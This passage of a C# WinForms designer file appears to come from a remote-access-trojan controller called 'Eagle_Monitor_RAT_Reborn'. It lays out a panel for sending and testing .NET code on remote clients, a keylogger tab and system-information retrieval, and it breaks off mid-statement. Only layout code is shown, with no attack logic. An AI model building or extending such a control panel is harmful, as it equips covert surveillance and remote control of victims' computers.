this.codeTextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \n            | System.Windows.Forms.AnchorStyles.Left)));\n            this.codeTextBox.AutoCompleteBracketsList = new char[] {\n        '(',\n        ')',\n        '{',\n        '}',\n        '[',\n        ']',\n        '\\\"',\n        '\\\"',\n        '\\'',\n        '\\''};\n            this.codeTextBox.AutoIndentCharsPatterns = \"\\r\\n^\\\\s*[\\\\w\\\\.]+(\\\\s\\\\w+)?\\\\s*(?<range>=)\\\\s*(?<range>[^;]+);\\r\\n^\\\\s*(case|default)\\\\s*[^:]\" +\n    \"*(?<range>:)\\\\s*(?<range>[^;]+);\\r\\n\";\n            this.codeTextBox.AutoScrollMinSize = new System.Drawing.Size(370, 168);\n            this.codeTextBox.BackBrush = null;\n            this.codeTextBox.BracketsHighlightStrategy = FastColoredTextBoxNS.BracketsHighlightStrategy.Strategy2;\n            this.codeTextBox.CharHeight = 14;\n            this.codeTextBox.CharWidth = 8;\n            this.codeTextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.codeTextBox.DisabledColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(180)))), ((int)(((byte)(180)))), ((int)(((byte)(180)))));\n            this.codeTextBox.IsReplaceMode = false;\n            this.codeTextBox.Language = FastColoredTextBoxNS.Language.CSharp;\n            this.codeTextBox.LeftBracket = '(';\n            this.codeTextBox.LeftBracket2 = '{';\n            this.codeTextBox.Location = new System.Drawing.Point(2, 47);\n            this.codeTextBox.Margin = new System.Windows.Forms.Padding(2);\n            this.codeTextBox.Name = \"codeTextBox\";\n            this.codeTextBox.Paddings = new System.Windows.Forms.Padding(0);\n            this.codeTextBox.RightBracket = ')';\n            this.codeTextBox.RightBracket2 = '}';\n            this.codeTextBox.SelectionColor = System.Drawing.Color.FromArgb(((int)(((byte)(60)))), ((int)(((byte)(0)))), ((int)(((byte)(0)))), ((int)(((byte)(255)))));\n            this.codeTextBox.ServiceColors = ((FastColoredTextBoxNS.ServiceColors)(resources.GetObject(\"codeTextBox.ServiceColors\")));\n            this.codeTextBox.Size = new System.Drawing.Size(849, 329);\n            this.codeTextBox.TabIndex = 37;\n            this.codeTextBox.Text = resources.GetString(\"codeTextBox.Text\");\n            this.codeTextBox.Zoom = 100;\n            // \n            // testDotNetGuna2Button\n            // \n            this.testDotNetGuna2Button.Animated = true;\n            this.testDotNetGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.testDotNetGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.testDotNetGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.testDotNetGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.testDotNetGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.testDotNetGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.testDotNetGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.testDotNetGuna2Button.Location = new System.Drawing.Point(352, 6);\n            this.testDotNetGuna2Button.Name = \"testDotNetGuna2Button\";\n            this.testDotNetGuna2Button.Size = new System.Drawing.Size(157, 36);\n            this.testDotNetGuna2Button.TabIndex = 36;\n            this.testDotNetGuna2Button.Text = \"Test\";\n            this.testDotNetGuna2Button.Click += new System.EventHandler(this.testDotNetGuna2Button_Click);\n            // \n            // sendDotNetGuna2Button\n            // \n            this.sendDotNetGuna2Button.Animated = true;\n            this.sendDotNetGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.sendDotNetGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.sendDotNetGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.sendDotNetGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.sendDotNetGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.sendDotNetGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.sendDotNetGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.sendDotNetGuna2Button.Location = new System.Drawing.Point(516, 6);\n            this.sendDotNetGuna2Button.Name = \"sendDotNetGuna2Button\";\n            this.sendDotNetGuna2Button.Size = new System.Drawing.Size(157, 36);\n            this.sendDotNetGuna2Button.TabIndex = 35;\n            this.sendDotNetGuna2Button.Text = \"Send\";\n            this.sendDotNetGuna2Button.Click += new System.EventHandler(this.sendDotNetGuna2Button_Click);\n            // \n            // importLibDataGridView\n            // \n            this.importLibDataGridView.AllowUserToAddRows = false;\n            this.importLibDataGridView.AllowUserToDeleteRows = false;\n            this.importLibDataGridView.AllowUserToResizeColumns = false;\n            this.importLibDataGridView.AllowUserToResizeRows = false;\n            this.importLibDataGridView.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \n            | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.importLibDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.importLibDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.importLibDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.importLibDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle40.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle40.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle40.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle40.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle40.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle40.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle40.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.importLibDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle40;\n            this.importLibDataGridView.ColumnHeadersHeight = 36;\n            this.importLibDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column31});\n            this.importLibDataGridView.ContextMenuStrip = this.importLibContextMenuStrip;\n            this.importLibDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.importLibDataGridView.EnableHeadersVisualStyles = false;\n            this.importLibDataGridView.GridColor = System.Drawing.Color.White;\n            this.importLibDataGridView.Location = new System.Drawing.Point(856, 0);\n            this.importLibDataGridView.Name = \"importLibDataGridView\";\n            this.importLibDataGridView.ReadOnly = true;\n            this.importLibDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle42.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle42.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle42.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle42.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.importLibDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle42;\n            this.importLibDataGridView.RowTemplate.Height = 26;\n            this.importLibDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.importLibDataGridView.Size = new System.Drawing.Size(219, 378);\n            this.importLibDataGridView.TabIndex = 14;\n            this.importLibDataGridView.TabStop = false;\n            this.importLibDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.importLibDataGridView_MouseUp);\n            // \n            // Column31\n            // \n            this.Column31.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle41.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column31.DefaultCellStyle = dataGridViewCellStyle41;\n            this.Column31.FillWeight = 25F;\n            this.Column31.HeaderText = \"Imports\";\n            this.Column31.Name = \"Column31\";\n            this.Column31.ReadOnly = true;\n            // \n            // importLibContextMenuStrip\n            // \n            this.importLibContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.importLibContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.addImportLibContextMenuStripToolStripMenuItem,\n            this.removeImportLibContextMenuStripToolStripMenuItem});\n            this.importLibContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.importLibContextMenuStrip.Size = new System.Drawing.Size(130, 72);\n            // \n            // addImportLibContextMenuStripToolStripMenuItem\n            // \n            this.addImportLibContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.addImportLibContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.addImportLibContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px;\n            this.addImportLibContextMenuStripToolStripMenuItem.Name = \"addImportLibContextMenuStripToolStripMenuItem\";\n            this.addImportLibContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.addImportLibContextMenuStripToolStripMenuItem.Text = \"Add\";\n            this.addImportLibContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.addImportLibContextMenuStripToolStripMenuItem_Click);\n            // \n            // removeImportLibContextMenuStripToolStripMenuItem\n            // \n            this.removeImportLibContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.removeImportLibContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.removeImportLibContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px;\n            this.removeImportLibContextMenuStripToolStripMenuItem.Name = \"removeImportLibContextMenuStripToolStripMenuItem\";\n            this.removeImportLibContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.removeImportLibContextMenuStripToolStripMenuItem.Text = \"Remove\";\n            this.removeImportLibContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.removeImportLibContextMenuStripToolStripMenuItem_Click);\n            // \n            // tabPage16\n            // \n            this.tabPage16.Controls.Add(this.keystrokeRichTextBox);\n            this.tabPage16.Controls.Add(this.panel12);\n            this.tabPage16.Controls.Add(this.keyloggerGuna2Button);\n            this.tabPage16.Location = new System.Drawing.Point(4, 44);\n            this.tabPage16.Name = \"tabPage16\";\n            this.tabPage16.Padding = new System.Windows.Forms.Padding(3);\n            this.tabPage16.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage16.TabIndex = 2;\n            this.tabPage16.Text = \"Keylogger\";\n            this.tabPage16.UseVisualStyleBackColor = true;\n            // \n            // keystrokeRichTextBox\n            // \n            this.keystrokeRichTextBox.BackColor = System.Drawing.Color.White;\n            this.keystrokeRichTextBox.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.keystrokeRichTextBox.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.keystrokeRichTextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.keystrokeRichTextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.keystrokeRichTextBox.Location = new System.Drawing.Point(3, 38);\n            this.keystrokeRichTextBox.Name = \"keystrokeRichTextBox\";\n            this.keystrokeRichTextBox.Size = new System.Drawing.Size(1077, 385);\n            this.keystrokeRichTextBox.TabIndex = 44;\n            this.keystrokeRichTextBox.Text = \"\";\n            // \n            // panel12\n            // \n            this.panel12.Dock = System.Windows.Forms.DockStyle.Top;\n            this.panel12.Location = new System.Drawing.Point(3, 33);\n            this.panel12.Name = \"panel12\";\n            this.panel12.Size = new System.Drawing.Size(1077, 5);\n            this.panel12.TabIndex = 38;\n            // \n            // keyloggerGuna2Button\n            // \n            this.keyloggerGuna2Button.Animated = true;\n            this.keyloggerGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.keyloggerGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.keyloggerGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.keyloggerGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.keyloggerGuna2Button.Dock = System.Windows.Forms.DockStyle.Top;\n            this.keyloggerGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.keyloggerGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.keyloggerGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.keyloggerGuna2Button.Location = new System.Drawing.Point(3, 3);\n            this.keyloggerGuna2Button.Name = \"keyloggerGuna2Button\";\n            this.keyloggerGuna2Button.Size = new System.Drawing.Size(1077, 30);\n            this.keyloggerGuna2Button.TabIndex = 37;\n            this.keyloggerGuna2Button.Text = \"Start\";\n            this.keyloggerGuna2Button.Click += new System.EventHandler(this.keyloggerGuna2Button_Click);\n            // \n            // tabPage17\n            // \n            this.tabPage17.Controls.Add(this.informationGuna2TabControl);\n            this.tabPage17.Location = new System.Drawing.Point(4, 44);\n            this.tabPage17.Name = \"tabPage17\";\n            this.tabPage17.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage17.TabIndex = 3;\n            this.tabPage17.Text = \"Information\";\n            this.tabPage17.UseVisualStyleBackColor = true;\n            // \n            // informationGuna2TabControl\n            // \n            this.informationGuna2TabControl.Controls.Add(this.tabPage30);\n            this.informationGuna2TabControl.Controls.Add(this.tabPage31);\n            this.informationGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.informationGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40);\n            this.informationGuna2TabControl.Location = new System.Drawing.Point(0, 0);\n            this.informationGuna2TabControl.Name = \"informationGuna2TabControl\";\n            this.informationGuna2TabControl.SelectedIndex = 0;\n            this.informationGuna2TabControl.Size = new System.Drawing.Size(1083, 426);\n            this.informationGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;\n            this.informationGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;\n            this.informationGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.informationGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;\n            this.informationGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.informationGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;\n            this.informationGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;\n            this.informationGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.informationGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));\n            this.informationGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));\n            this.informationGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;\n            this.informationGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.informationGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.informationGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            this.informationGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.informationGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40);\n            this.informationGuna2TabControl.TabIndex = 36;\n            this.informationGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;\n            this.informationGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop;\n            // \n            // tabPage30\n            // \n            this.tabPage30.BackColor = System.Drawing.Color.White;\n            this.tabPage30.Controls.Add(this.retrieveInformationGuna2Button);\n            this.tabPage30.Controls.Add(this.panel22);\n            this.tabPage30.Controls.Add(this.guna2GroupBox2);\n            this.tabPage30.Controls.Add(this.guna2GroupBox1);\n            this.tabPage30.Location = new System.Drawing.Point(4, 44);\n            this.tabPage30.Name = \"tabPage30\";\n            this.tabPage30.Padding = new System.Windows.Forms.Padding(0, 40, 0, 0);\n            this.tabPage30.Size = new System.Drawing.Size(1075, 378);\n            this.tabPage30.TabIndex = 0;\n            this.tabPage30.Text = \"System\";\n            // \n            // retrieveInformationGuna2Button\n            // \n            this.retrieveInformationGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.retrieveInformationGuna2Button.Animated = true;\n            this.retrieveInformationGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.retrieveInformationGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.retrieveInformationGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.retrieveInformationGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.retrieveInformationGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.retrieveInformationGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.retrieveInformationGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.retrieveInformationGuna2Button.Location = new System.Drawing.Point(2, 3);\n            this.retrieveInformationGuna2Button.Name = \"retrieveInformationGuna2Button\";\n            this.retrieveInformationGuna2Button.Size = new System.Drawing.Size(1071, 33);\n            this.retrieveInformationGuna2Button.TabIndex = 35;\n            this.retrieveInformationGuna2Button.Text = \"Retrieve information\";\n            this.retrieveInformationGuna2Button.Click += new System.EventHandler(this.retrieveInformationGuna2Button_Click);\n            // \n            // panel22\n            // \n            this.panel22.Dock = System.Windows.Forms.DockStyle.Left;\n            this.panel22.Location = new System.Drawing.Point(571, 40);\n            this.panel22.Name = \"panel22\";\n            this.panel22.Size = new System.Drawing.Size(6, 338);\n            this.panel22.TabIndex = 11;\n            // \n            // guna2GroupBox2\n            // \n            this.guna2GroupBox2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox2.BorderThickness = 0;\n            this.guna2GroupBox2.Controls.Add(this.panel16);\n            this.guna2GroupBox2.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox2.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.guna2GroupBox2.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.guna2GroupBox2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.guna2GroupBox2.Location = new System.Drawing.Point(571, 40);\n            this.guna2GroupBox2.Name = \"guna2GroupBox2\";\n            this.guna2GroupBox2.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);\n            this.guna2GroupBox2.Size = new System.Drawing.Size(504, 338);\n            this.guna2GroupBox2.TabIndex = 9;\n            this.guna2GroupBox2.Text = \"System\";\n            // \n            // panel16\n            // \n            this.panel16.Controls.Add(this.guna2VScrollBar11);\n            this.panel16.Controls.Add(this.systemInformationDataGridView);\n            this.panel16.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.panel16.Location = new System.Drawing.Point(2, 42);\n            this.panel16.Name = \"panel16\";\n            this.panel16.Padding = new System.Windows.Forms.Padding(2, 2, 2, 0);\n            this.panel16.Size = new System.Drawing.Size(500, 294);\n            this.panel16.TabIndex = 19;\n            // \n            // guna2VScrollBar11\n            // \n            this.guna2VScrollBar11.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar11.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar11.InUpdate = false;\n            this.guna2VScrollBar11.LargeChange = 10;\n            this.guna2VScrollBar11.Location = new System.Drawing.Point(480, 2);\n            this.guna2VScrollBar11.Minimum = 1;\n            this.guna2VScrollBar11.Name = \"guna2VScrollBar11\";\n            this.guna2VScrollBar11.ScrollbarSize = 18;\n            this.guna2VScrollBar11.Size = new System.Drawing.Size(18, 292);\n            this.guna2VScrollBar11.TabIndex = 22;\n            this.guna2VScrollBar11.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.guna2VScrollBar11.Value = 1;\n            // \n            // systemInformationDataGridView\n            // \n            this.systemInformationDataGridView.AllowDrop = true;\n            this.systemInformationDataGridView.AllowUserToAddRows = false;\n            this.systemInformationDataGridView.AllowUserToDeleteRows = false;\n            this.systemInformationDataGridView.AllowUserToResizeColumns = false;\n            this.systemInformationDataGridView.AllowUserToResizeRows = false;\n            this.systemInformationDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.systemInformationDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.systemInformationDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.systemInformationDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle43.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle43.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle43.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle43.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle43.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle43.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle43.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.systemInformationDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle43;\n            this.systemInformationDataGridView.ColumnHeadersHeight = 36;\n            this.systemInformationDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column40,\n            this.Column41});\n            this.systemInformationDataGridView.ContextMenuStrip = this.nativePEContextMenuStrip;\n            this.systemInformationDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.systemInformationDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.systemInformationDataGridView.EnableHeadersVisualStyles = false;\n            this.systemInformationDataGridView.GridColor = System.Drawing.Color.White;\n            this.systemInformationDataGridView.Location = new System.Drawing.Point(2, 2);\n            this.systemInformationDataGridView.Name = \"systemInformationDataGridView\";\n            this.systemInformationDataGridView.ReadOnly = true;\n            this.systemInformationDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle45.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle45.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle45.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle45.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.systemInformationDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle45;\n            this.systemInformationDataGridView.RowTemplate.Height = 26;\n            this.systemInformationDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.systemInformationDataGridView.Size = new System.Drawing.Size(496, 292);\n            this.systemInformationDataGridView.TabIndex = 18;\n            this.systemInformationDataGridView.TabStop = false;\n            // \n            // Column40\n            // \n            this.Column40.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle44.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column40.DefaultCellStyle = dataGridViewCellStyle44;\n            this.Column40.FillWeight = 25F;\n            this.Column40.HeaderText = \"Information\";\n            this.Column40.Name = \"Column40\";\n            this.Column40.ReadOnly = true;\n            // \n            // Column41\n            // \n            this.Column41.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column41.FillWeight = 25F;\n            this.Column41.HeaderText = \"Value\";\n            this.Column41.Name = \"Column41\";\n            this.Column41.ReadOnly = true;\n            // \n            // guna2GroupBox1\n            // \n            this.guna2GroupBox1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox1.BorderThickness = 0;\n            this.guna2GroupBox1.Controls.Add(this.panel15);\n            this.guna2GroupBox1.Controls.Add(this.panel13);\n            this.guna2GroupBox1.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox1.Dock = System.Windows.Forms.DockStyle.Left;\n            this.guna2GroupBox1.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.guna2GroupBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.guna2GroupBox1.Location = new System.Drawing.Point(0, 40);\n            this.guna2GroupBox1.Name = \"guna2GroupBox1\";\n            this.guna2GroupBox1.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);\n            this.guna2GroupBox1.Size = new System.Drawing.Size(571, 338);\n            this.guna2GroupBox1.TabIndex = 8;\n            this.guna2GroupBox1.Text = \"Hardware\";\n            // \n            // panel15\n            // \n            this.panel15.Controls.Add(this.componentsDataGridView);\n            this.panel15.Controls.Add(this.guna2VScrollBar10);\n            this.panel15.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.panel15.Location = new System.Drawing.Point(281, 42);\n            this.panel15.Name = \"panel15\";\n            this.panel15.Padding = new System.Windows.Forms.Padding(2, 2, 2, 0);\n            this.panel15.Size = new System.Drawing.Size(288, 294);\n            this.panel15.TabIndex = 21;\n            // \n            // componentsDataGridView\n            // \n            this.componentsDataGridView.AllowDrop = true;\n            this.componentsDataGridView.AllowUserToAddRows = false;\n            this.componentsDataGridView.AllowUserToDeleteRows = false;\n            this.componentsDataGridView.AllowUserToResizeColumns = false;\n            this.componentsDataGridView.AllowUserToResizeRows = false;\n            this.componentsDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.componentsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.componentsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.componentsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle46.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle46.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle46.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle46.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle46.SelectionBackColor = 